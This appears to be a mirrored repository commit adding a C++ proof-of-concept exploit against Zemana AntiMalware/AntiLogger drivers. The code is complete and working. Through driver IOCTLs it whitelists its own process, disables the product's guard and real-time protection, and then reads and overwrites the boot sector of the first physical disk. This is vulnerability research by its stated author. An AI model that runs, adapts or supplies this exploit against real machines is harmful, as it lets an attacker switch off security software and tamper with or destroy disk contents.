mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
added SCSI RW poc
This commit is contained in:
Binary file not shown.
+184
@@ -0,0 +1,184 @@
|
||||
/*
|
||||
Exploit title: Zemana AntiMalware v.3.2.28 & Zemana AntiLogger v.2.74.204.664 - Arbitrary SCSI Disk Read/Write
|
||||
Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
|
||||
Date: 12/06/2023
|
||||
Vendor Homepage: https://zemana.com/
|
||||
Download: https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe
|
||||
https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
|
||||
Affected Version: Zemana AntiMalware v. <= 3.2.28
|
||||
Zemana AntiLogger v. <= 2.74.204.664
|
||||
CVE: CVE-2023-XXXX
|
||||
Tested on: Windows 11 Pro x64 v.22621.1778
|
||||
Category: local exploit
|
||||
Platform: windows
|
||||
Usage: Compile and run this exploit on a machine where a vulnerable version of Zemana AntiMalware/AntiLogger is installed to verify the SCSI Disk Read/Write capability
|
||||
*/
|
||||
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <string>
|
||||
|
||||
void PrintBanner(void) {
|
||||
std::cout << "+---------------------------------------------------------------------------------------------------+" << std::endl;
|
||||
std::cout << "| CVE-2023-XXXX: Zemana AntiMalware/AntiLogger SCSI Disk Read/Write by VoidSec |" << std::endl;
|
||||
std::cout << "+---------------------------------------------------------------------------------------------------+\n" << std::endl;
|
||||
}
|
||||
|
||||
std::ostream& hex_dump(std::ostream& os, const void* buffer, std::size_t bufsize, bool showPrintableChars = true)
|
||||
{
|
||||
if (buffer == nullptr) {
|
||||
return os;
|
||||
}
|
||||
auto oldFormat = os.flags();
|
||||
auto oldFillChar = os.fill();
|
||||
constexpr std::size_t maxline{16};
|
||||
// create a place to store text version of string
|
||||
char renderString[maxline + 1];
|
||||
char* rsptr{ renderString };
|
||||
// convenience cast
|
||||
const unsigned char* buf{ reinterpret_cast<const unsigned char*>(buffer) };
|
||||
|
||||
for (std::size_t linecount = maxline; bufsize; --bufsize, ++buf) {
|
||||
os << std::setw(2) << std::setfill('0') << std::hex
|
||||
<< static_cast<unsigned>(*buf) << ' ';
|
||||
*rsptr++ = std::isprint(*buf) ? *buf : '.';
|
||||
if (--linecount == 0) {
|
||||
*rsptr++ = '\0'; // terminate string
|
||||
if (showPrintableChars) {
|
||||
os << " | " << renderString;
|
||||
}
|
||||
os << '\n';
|
||||
rsptr = renderString;
|
||||
linecount = (std::min)(maxline, bufsize);
|
||||
}
|
||||
}
|
||||
// emit newline if we haven't already
|
||||
if (rsptr != renderString) {
|
||||
if (showPrintableChars) {
|
||||
for (*rsptr++ = '\0'; rsptr != &renderString[maxline + 1]; ++rsptr) {
|
||||
os << " ";
|
||||
}
|
||||
os << " | " << renderString;
|
||||
}
|
||||
os << '\n';
|
||||
}
|
||||
|
||||
os.fill(oldFillChar);
|
||||
os.flags(oldFormat);
|
||||
return os;
|
||||
}
|
||||
|
||||
typedef struct _SCSI_buffer {
|
||||
// PhysicalDrive[i]
|
||||
ULONG32 DiskNumber;
|
||||
UCHAR Pad;
|
||||
|
||||
// SCSI_REQUEST_BLOCK https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/srb/ns-srb-_scsi_request_block
|
||||
UCHAR PathId;
|
||||
UCHAR TargetId;
|
||||
UCHAR Lun;
|
||||
|
||||
ULONG32 OffsetHigh; // OffsetHigh must be 0
|
||||
ULONG32 OffsetLow; // OffsetLow is the sector LBA.
|
||||
ULONG32 Length; // Truncated when written to the SCSI CDB
|
||||
|
||||
ULONG32 Count; // DataTransferLength = Length * Count;
|
||||
} SCSI_ACCESS, * PSCSI_ACCESS;
|
||||
|
||||
BOOL SCSI_RW(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG32 PhysicalDriveNumber, // PhysicalDrive[i]
|
||||
_In_ ULONG32 LogicalBlock, // LBA
|
||||
_In_ PVOID buffer, // store data read from disk
|
||||
_In_ BOOL write_flag // if true, write to disk
|
||||
) {
|
||||
CHAR SCSI_buffer[1024];
|
||||
PSCSI_ACCESS Zemana_SCSI_buffer;
|
||||
BOOL success;
|
||||
|
||||
Zemana_SCSI_buffer = (PSCSI_ACCESS)&SCSI_buffer;
|
||||
Zemana_SCSI_buffer->DiskNumber = PhysicalDriveNumber;
|
||||
Zemana_SCSI_buffer->PathId = 0;
|
||||
Zemana_SCSI_buffer->TargetId = 0;
|
||||
Zemana_SCSI_buffer->Lun = 0;
|
||||
Zemana_SCSI_buffer->OffsetHigh = 0;
|
||||
Zemana_SCSI_buffer->OffsetLow = LogicalBlock;
|
||||
Zemana_SCSI_buffer->Length = 1;
|
||||
Zemana_SCSI_buffer->Count = 512;
|
||||
|
||||
if (write_flag) {
|
||||
// WRITE
|
||||
memcpy((void*)((char*)Zemana_SCSI_buffer + 512), buffer, 512);
|
||||
success = DeviceIoControl(DeviceHandle, 0x80002018, Zemana_SCSI_buffer, 1024, Zemana_SCSI_buffer, 1024, NULL, NULL);
|
||||
return success;
|
||||
}
|
||||
else {
|
||||
// READ
|
||||
success = DeviceIoControl(DeviceHandle, 0x80002014, Zemana_SCSI_buffer, sizeof(SCSI_ACCESS), buffer, 512, NULL, NULL);
|
||||
return success;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
HANDLE hDevice = 0;
|
||||
int exploit_pid = 0;
|
||||
CHAR lpInBuffer[512] = { 0 };
|
||||
BOOL success = 0, disable_zam = 0, disable_rt = 0, result = 0;
|
||||
|
||||
std::cout << "[-] Retrieving a handle to the Zemana device driver" << std::endl;
|
||||
hDevice = CreateFile("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (!hDevice) {
|
||||
std::cout << "\t[!] Failed to get a handle to the Zemana device driver. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "\t[+] ZemanaAntiMalware HANDLE: 0x" << std::hex << hDevice << std::endl;
|
||||
|
||||
std::cout << "[-] Adding exploit's process to the allowlist" << std::endl;
|
||||
exploit_pid = GetCurrentProcessId();
|
||||
if (!exploit_pid) {
|
||||
std::cout << "\t[!] Failed to get exploit's process PID. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "\t[+] Exploit process' PID: " << exploit_pid << std::endl;
|
||||
|
||||
success = DeviceIoControl(hDevice, 0x80002010, &exploit_pid, sizeof(exploit_pid), NULL, 0, NULL, NULL);
|
||||
if (!success) {
|
||||
std::cout << "\t[!] Failed to add exploit's process to the allowlist. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "\t[+] Exploit process' added to the allowlist" << std::endl;
|
||||
|
||||
std::cout << "[-] Disabling ZAM Guard and Real-Time Protection" << std::endl;
|
||||
disable_zam = DeviceIoControl(hDevice, 0x80002064, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL);
|
||||
disable_rt = DeviceIoControl(hDevice, 0x80002090, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL);
|
||||
if (!disable_zam || !disable_rt) {
|
||||
std::cout << "\t[!] Failed to disable ZAM Guard or Real-Time Protection" << std::endl;
|
||||
}
|
||||
std::cout << "\t[+] Disabled ZAM Guard and Real-Time Protection" << std::endl;
|
||||
|
||||
std::cout << "[-] SCSI Disk Read" << std::endl;
|
||||
success = SCSI_RW(hDevice, 0, 0, lpInBuffer, FALSE);
|
||||
if (!success) {
|
||||
std::cout << "\t[!] Failed to read from SCSI disk. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "\t[+] Disk ID: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
|
||||
std::cout << "\t[+]SCSI disk dump" << std::endl;
|
||||
hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer));
|
||||
|
||||
std::cout << "\n[-] SCSI Disk Write" << std::endl;
|
||||
std::cout << "\t[-] Incrementing Disk ID" << std::endl;
|
||||
(*(ULONG32*)(lpInBuffer + 440))++;
|
||||
success = SCSI_RW(hDevice, 0, 0, lpInBuffer, TRUE);
|
||||
if (!success) {
|
||||
std::cout << "\t[!] Failed to write to SCSI disk. Error code: " << ::GetLastError() << std::endl;
|
||||
return -1;
|
||||
}
|
||||
std::cout << "\t[+] SCSI Write successful! Disk ID is now: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
|
||||
|
||||
CloseHandle(hDevice);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user